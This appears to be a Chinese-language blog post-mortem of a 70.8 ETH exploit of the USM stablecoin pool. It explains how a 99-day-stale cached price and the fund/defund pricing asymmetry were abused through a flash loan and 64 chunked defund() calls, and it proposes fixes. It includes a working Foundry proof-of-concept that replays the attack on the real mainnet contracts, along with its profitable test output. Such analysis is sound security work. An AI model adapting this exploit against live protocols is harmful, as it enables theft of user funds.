USM 被抽走 70.8 个 ETH:靠一个 99 天没刷新的价格,硬生生搞出 6200 万 FUM
在ETH区块 25716150 上,有一笔交易从 USM 池子里直接抽走了 132.59 个 ETH,最后池子只剩 61.76 个。整个攻击套路很简单:先调一次 fund(),然后紧跟着 64 次等额的 defund(),全搁在一笔闪电贷里完成。净赚 70.830977 个 ETH。预言机?从头到尾压根没碰过。
交易哈希:0xfae5e751b8ce01457cbb6b529839f24a0cff50faaabcbd0fd02ca0cf559b050e
这协议是干啥的
USM(全称 Minimalist USD v1)是一个靠 ETH 背书的稳定币协议,一个池子里发两种代币。USM 的持有者拿的是固定价值的债权(1 USM ≈ 1 美元的 ETH),FUM 的持有者拿的是剩下的残值——也就是池子总价值减去 USM 负债,再除以 FUM 总量。典型的优先级/次级结构,MAX_DEBT_RATIO 把优先级那部分限制在池子价值的 80%。
| 合约 | 地址 |
|---|---|
| USM(池子,装所有 ETH) | 0x2a7FFf44C19f39468064ab5e5c304De01D591675 |
| FUM(权益代币,归 USM 管) | 0x86729873e3b88DE2Ab85CA292D6d6D69D548eDF3 |
| MedianOracle(价格来源) | 0x7F360C88CABdcC2F2874Ec4Eb05c3D47bD0726C5 |
这个中位数预言机取三个源的中值:Chainlink 的 ETH/USD 喂价(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419),外加两个深度还不错的 Uniswap V3 池子的 10 分钟 TWAP,分别是 USDC/WETH 0.05%(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640)和 WETH/USDT 0.05%(0x11b815efB8f581194ae79006d24E0d814B7697F6)。
在攻击前一区块(25716149),整个系统又小又冷清:ethPool 只有 132.588942983107019337 个 ETH,USM 总量 200,251.453135834662058063,FUM 总量 329,463.502710697641576863。债务比率 66.89%,没穿仓。USM 持有者 5 个地址,FUM 持有者 32 个地址,全是 EOA——没有任何池子、借贷协议或跨链桥沾过这俩代币。
俩价格,只有一个新鲜的
合约在 storedState 里存了两个价格:
storedState.ethUsdPrice // 系统实际用来定价的中间价
storedState.oracleEthUsdPrice // 上次接受的预言机读数,仅供比对
每次操作(mint/burn/fund/defund)一上来就先调用 checkForFreshOraclePrice:
oraclePrice = oracle.latestPrice() + HALF_TRILLION;
unchecked { oraclePrice = oraclePrice / TRILLION * TRILLION; }
if (oraclePrice == ls.oracleEthUsdPrice) { // 跟上次一样,没变
price = ls.ethUsdPrice; // 那就继续用存的中间价
} else {
price = oraclePrice; // 变了,就用新价格
...
}
所以这个中间价只有两种变的机会:要么是某次 mint/burn/fund/defund 通过 wadMulDown/wadMulUp 给它推一把,要么是预言机返回的值跟缓存的 oracleEthUsdPrice 不一样,那就直接换成最新的。中间价本身不会随着时间自己衰减。bidAskAdjustment 倒是会衰减(半衰期大概一分钟,600 秒后归零),但中间价可不会。
在区块 25716149,缓存里是这么写的:ethUsdPrice = $2257.793612,oracleEthUsdPrice = $2304.031122。bidAskAdjustment 的时间戳是 1777691195——也就是 2026-05-02 03:06:35 UTC。这比攻击区块早了 8,571,960 秒,差不多 99.2 天。整整 99 天,没人调用过这四个函数里的任何一个。最后一次正经活动是 2026 年 5 月那一个半小时的小窗口;再往前,这协议从 2023 年开始就基本哑火了(按年份看 PriceChanged 事件数:40、148、17、2、2、10)。
关键在这儿:这 99 天里,中位数预言机可是一直在跟着市场跑的——Chainlink 和俩 TWAP 池子都是实时定价,它们可不会等 USM 的用户来唤醒。到区块 25716149,实时的中位数价格已经跌到 $1921.81 了,比缓存的 oracleEthUsdPrice 低了大约 16.6%。但系统完全不知道,因为根本没人来叫醒它。
这个不对称性,让刷新价格变成了捡钱
fund() 和 defund() 都是通过 adjustedEthUsdPrice 来读价格的,但这两边的处理规则不一样:
if (side == IUSM.Side.Buy ? (adjustment > WAD) : (adjustment < WAD)) {
price = price.wadMul(adjustment, ...);
}
fund() 走的是买方定价:当 bidAskAdjustment > 1 时,它会乘上一个上调系数。defund() 走的是卖方定价:只有当 bidAskAdjustment < 1 时才会调整,否则就直接用裸的中间价。然后 _fundFum 里面的计算还会把中间价和调整系数都往上推(用 wadMulUp,乘上一个跟池子增长挂钩的因子)。所以一次大额 fund() 会把中间价推高,而后面跟着的 defund() 读到的就是这个被推高但没带任何调整系数的价格。这其实就是大家熟悉的 mint/burn 关系的镜像版,意味着一个人完全可以先用 fund() 把价格推上去,再用 defund() 把这个涨幅原封不动地提走。
而陈旧的初始价格才是让这一切划算的根本。因为 99 天来第一次 fund() 跑起来的时候,checkForFreshOraclePrice 也是 99 天来第一次触发:中间价直接从缓存的 $2257.79 跳到了实时的 $1921.81,跌了 14.9%。ETH/USD 中间价跌 14.9%,就意味着每个 FUM 的美元分母也缩了 14.9%——缓冲层(池子减 USM 负债)变小了,FUM 对买家来说就更便宜了。于是攻击者就以这个突然变便宜的价格,一口气买了海量 FUM。
攻击到底怎么操作的
- 先从 Morpho 借了一笔闪电贷,11,579.978354608392803524 个 ETH——大概是整个池子的 87 倍。
- 把借来的 wETH 解包成 ETH,然后一次性调用
USM.fund(attacker, 0),把全部 ETH 都投进去。这是 99 天来的第一次交互:中间价刷新到 $1921.81,池子膨胀到约 11,712 ETH,同时攻击者被铸造出 62,184,299.03 个 FUM。 - 紧接着连续调 64 次
USM.defund(attacker, 971,629.67, 0)——62,184,299.03 正好能被 64 整除。每一次都用被推高后的价格把 FUM 换回 ETH,池子一步一步缩回去。 - 一直循环到
FUM.balanceOf(attacker) == 0。然后把 ETH 再包回 WETH,还掉闪电贷。 - 最后净剩 70.830977 个 ETH。池子从 132.588942983107019337 wei 直接跌到 61,757,965,615,409,310,965 wei。
从头到尾,没碰过 Uniswap 池子,也没碰过 Chainlink。中位数预言机只是被被动读了一下,根本没被人操纵。让整个数学成立的那次价格跳变,纯粹是 99 天没人问津期间,市场自己走出来的真实波动。
复现结果
我直接用合约自带的公开纯函数定价逻辑(fund() 的 fumFromFund/fumPrice 和 defund() 的 ethFromDefund)做了复现,输入区块 25716149 的状态,参数一模一样:先投 11,579.978354608392803524 个 ETH 做 fund,然后分 64 次等额 defund。结果利润是 70.830977367697708372 个 ETH(链上显示 70.830977),最终池子余额为 61757965615409310965 wei——跟链上真实余额逐字节对得上,分毫不差。
为啥非得拆成 64 次
这 64 次拆分可不是为了好看,它是决定赚 70 个 ETH 还是亏 5000 个 ETH 的关键。我在同样的分叉环境里,从同一个 11,579.978354608392803524 ETH 的 fund() 和同一个 62,184,299.03 FUM 出发,跑了两个版本:
| 赎回方式 | 赎回 ETH 数量 | 该笔头寸净盈亏 |
|---|---|---|
| 64 次等额(真实攻击) | 11,650.809331976090511896 | +70.830977367697708372 |
一次性全额 defund() |
5,825.405636077073924807 | −5,754.572718531318878717 |
一次性赎回全部,只拿回来投入的一半左右。而且这笔交易并不会 revert——我一开始还以为会卡在 newDebtRatio <= MAX_DEBT_RATIO 这个检查上,但实际情况是 ethFromDefund 算出来的缩减因子会先作用到 ethUsdPrice 上,然后再去跑债务比率检查,一次烧掉这么多,中间价被拉低太多,导致系统自己评估的债务比率又落回 80% 以下了。所以交易能通过,但就是亏钱。
亏钱的原因是 ethFromDefund 内部的近似算法。它把整个赎回按起始卖出价和一个刻意悲观的结束价的算术平均来定价:池子先通过 lowerBoundEthQty1 = ethPool − fumIn·fumSellPrice0 估算,然后这个下界再经过一个四次方的价格路径,最终 FUM 价格从压缩后的中间价算出来。当一次性赎回吃掉全部 FUM 供应时,这个路径就直接塌到底了:悲观的中间价让 buffer = ethPool − usmValueInEth 变成负数,fumPrice 被钳制到 0,于是平均价格就变成 (p0 + 0)/2 = p0/2——你大概只能拿回一半仓位,分叉结果也正好印证了(5,825.4 / 11,579.98 ≈ 50.3%)。
这个曲线在赎回数量上不是单调的。小份赎回还能留在盈利侧,因为悲观下界还贴近真实路径;但一次性烧完就直接掉进坑里了。这次攻击必须两头都抓住:先用陈旧价格刷新让 FUM 变得便宜,再用拆分方式让退出变得有利可图。
为啥这事儿值得聊,不止是 16 万美金
预言机本身没毛病。三源中位数,Chainlink 加两个高 TVL 的 TWAP 池子,已经算顶配了,而且这些源都没被攻击。真正翻车的是系统一直拿一个 99 天前的缓存价格来定价,完全没意识到“价格陈旧”本身就是风险——长期没人调用之后,第一个来敲门的人可以直接把 99 天积累的市场波动一次性兑现,再被 fund/defund 的买卖不对称性放大。对于一个还在跑着的协议,同样的小规模版本随时都能玩:只要缓存的 oracleEthUsdPrice 和实时中位数之间有差价——不管这个差价积累了多久——谁第一个调用 fund() 就能把它捞走,然后通过 defund() 再提出来。
最简单的修法就是加个新鲜度检查:在采用预言机读数之前,对比一下它的时间戳和 block.timestamp,或者干脆定时刷新存储价格。更治本的办法是让 defund()(以及它依赖的债务比率检查)直接用最新的预言机读数来定价,而不是用那个会漂移的内部中间价,就跟 ethFromBurn 里的 haircut 机制一样。目前的情况是,burn 压根没有债务比率检查,而 defund 却有——这种不对称虽然这次没触发,但属于同一类毛病。池子里现在还躺着 61.76 个 ETH,那是某个用户的真金白银,而 USM 的那五个持有者手里的债权,对应的池子已经没法 100% 覆盖他们了。
POC
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
import {Test, console2} from "forge-std/Test.sol";
/// @notice Minimal interface onto the REAL deployed USM/FUM contracts.
interface IUSM {
struct LoadedState {
uint256 timeSystemWentUnderwater;
uint256 ethUsdPrice;
uint256 oracleEthUsdPrice;
uint256 bidAskAdjustmentTimestamp;
uint256 bidAskAdjustment;
uint256 ethPool;
uint256 usmTotalSupply;
}
function fund(address to, uint256 minFumOut) external payable returns (uint256 fumOut);
function defund(address payable to, uint256 fumToBurn, uint256 minEthOut) external returns (uint256 ethOut);
function ethPool() external view returns (uint256);
function loadState() external view returns (LoadedState memory);
function oracle() external view returns (address);
}
interface IMedianOracle {
function latestPrice() external view returns (uint256);
}
interface IFUM {
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
}
/// @title USMAttackPOC
/// @notice Independent exploit reproduction: starting ONLY from the state at block ANALYSIS_HEIGHT
/// (the block before the real attack — the same world the attacker saw), drive the REAL deployed
/// contracts through a flash-funded `fund()` then 64 equal `defund()` chunks, and assert the attack
/// is *profitable* — not that it matches any post-hoc trace value. The contract executes its real
/// storage writes, oracle refresh, debt-ratio check, and FUM mint/burn.
///
/// @dev The flash loan is simulated with vm.deal(): Morpho only provides the capital, it does not
/// affect the USM attack path itself. Fork RPC comes from foundry.toml [rpc_endpoints] eth.
/// The post-mortem match against tx 0xfae5e751...050e is documented in log.md §6, not asserted here.
contract USMAttackPOC is Test {
IUSM constant USM = IUSM(0x2a7FFf44C19f39468064ab5e5c304De01D591675);
IFUM constant FUM = IFUM(0x86729873e3b88DE2Ab85CA292D6d6D69D548eDF3);
/// @dev forge-std's Test has no receive(); defund() pays ETH via `to.sendValue()` so the
/// test contract must accept plain ETH transfers.
receive() external payable {}
uint256 constant ANALYSIS_HEIGHT = 25716149; // attack block - 1, never touch 25716150
// Attacker-chosen parameters (strategy, not answers): a huge flash-funded position, redeemed
// in 64 equal chunks. test_03 shows why equal chunks matter (one-shot full redemption loses).
uint256 constant FLASH_LOAN = 11579978354608392803524; // 11,579.978354608392803524 ETH
uint256 constant CHUNK = 971629672368796643705079; // 971,629.672368796643705079 FUM per defund
uint256 constant NUM_CHUNKS = 64;
function setUp() public {
vm.createSelectFork("eth", ANALYSIS_HEIGHT);
}
/// @notice Premise: at ANALYSIS_HEIGHT the system's stored oracle price is 99.2 days stale,
/// while the live median oracle has moved (this is the price jump the attacker's fund() adopts).
function test_01_premise_staleStoredPriceVsLiveOracle() public view {
IUSM.LoadedState memory ls = USM.loadState();
uint256 live = IMedianOracle(USM.oracle()).latestPrice();
console2.log("stored oracleEthUsdPrice (99.2d stale):", ls.oracleEthUsdPrice);
console2.log("stored ethUsdPrice (mid):", ls.ethUsdPrice);
console2.log("LIVE oracle.latestPrice() at ANALYSIS_HEIGHT:", live);
assertGt(live, 0, "oracle should be live");
assertTrue(live != ls.oracleEthUsdPrice, "stale vs live oracle price must differ");
}
/// @notice The exploit: one huge fund() then 64 equal defund() chunks. Assertions are
/// self-contained (profitability, FUM drained, pool drawdown == profit) — no trace values.
function test_02_fullAttack_fundThen64xDefund() public {
// simulate the flash loan proceeds arriving at the attacker (Morpho does not touch USM)
vm.deal(address(this), FLASH_LOAN);
uint256 poolBefore = USM.ethPool();
console2.log("ethPool before attack:", poolBefore);
// Step 1: one huge fund(). 99 days after the last interaction, this is the call that
// triggers checkForFreshOraclePrice and adopts the live (~$1921) price over the stale cache.
uint256 fumOut = USM.fund{value: FLASH_LOAN}(address(this), 0);
console2.log("fumOut from fund():", fumOut);
// Step 2: 64 equal defund chunks; the last chunk eats the rounding remainder.
uint256 remaining = fumOut;
uint256 totalEthOut;
for (uint256 i = 0; i < NUM_CHUNKS; i++) {
uint256 chunk = (i == NUM_CHUNKS - 1) ? remaining : CHUNK;
uint256 ethOut = USM.defund(payable(address(this)), chunk, 0);
totalEthOut += ethOut;
remaining -= chunk;
assertLt(remaining, fumOut, "remaining FUM should only shrink");
}
assertEq(FUM.balanceOf(address(this)), 0, "attacker must hold zero FUM at the end");
console2.log("total ETH out across", NUM_CHUNKS, "defunds:", totalEthOut);
console2.log("flash loan principal:", FLASH_LOAN);
int256 netProfit = int256(totalEthOut) - int256(FLASH_LOAN);
console2.logInt(netProfit);
assertGt(netProfit, 0, "the attack must be profitable");
console2.log("final ethPool:", USM.ethPool());
// The profit comes out of the pool: pool drawdown == attacker profit (value conservation).
assertEq(poolBefore - USM.ethPool(), uint256(netProfit), "pool drawdown == attacker profit");
}
/// @notice Why 64 chunks: a single full-size defund() of everything at once lands on the
/// loss-making side of ethFromDefund's non-monotonic curve (it does NOT revert — the shrink
/// factor drags the self-assessed debt ratio back under 80%). Chunking is what keeps each
/// redemption on the profitable part of the curve. Contrast with test_02's positive profit.
function test_03_singleFullDefund_isLossMaking() public {
vm.deal(address(this), FLASH_LOAN);
uint256 fumOut = USM.fund{value: FLASH_LOAN}(address(this), 0);
// one-shot full redemption instead of 64 chunks
uint256 ethOut = USM.defund(payable(address(this)), fumOut, 0);
console2.log("single full defund ethOut:", ethOut);
console2.log("fund principal:", FLASH_LOAN);
assertLt(ethOut, FLASH_LOAN, "one-shot defund must be loss-making vs the 64-chunk split");
}
}
Ran 3 tests for test/USMAttackPOC.t.sol:USMAttackPOC
[PASS] test_01_premise_staleStoredPriceVsLiveOracle() (gas: 162090)
Logs:
stored oracleEthUsdPrice (99.2d stale): 2304031122000000000000
stored ethUsdPrice (mid): 2257793612000000000000
LIVE oracle.latestPrice() at ANALYSIS_HEIGHT: 1921813593298974977671
[PASS] test_02_fullAttack_fundThen64xDefund() (gas: 5680271)
Logs:
ethPool before attack: 132588942983107019337
fumOut from fund(): 62184299031602985197125048
total ETH out across 64 defunds: 11650809331976090511896
flash loan principal: 11579978354608392803524
70830977367697708372
final ethPool: 61757965615409310965
[PASS] test_03_singleFullDefund_isLossMaking() (gas: 288756)
Logs:
single full defund ethOut: 5825405636077073924807
fund principal: 11579978354608392803524
版权声明
本文仅代表作者观点,不代表区块链技术网立场。
本文系作者授权本站发表,未经许可,不得转载。
鸿途知科网
发表评论:
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。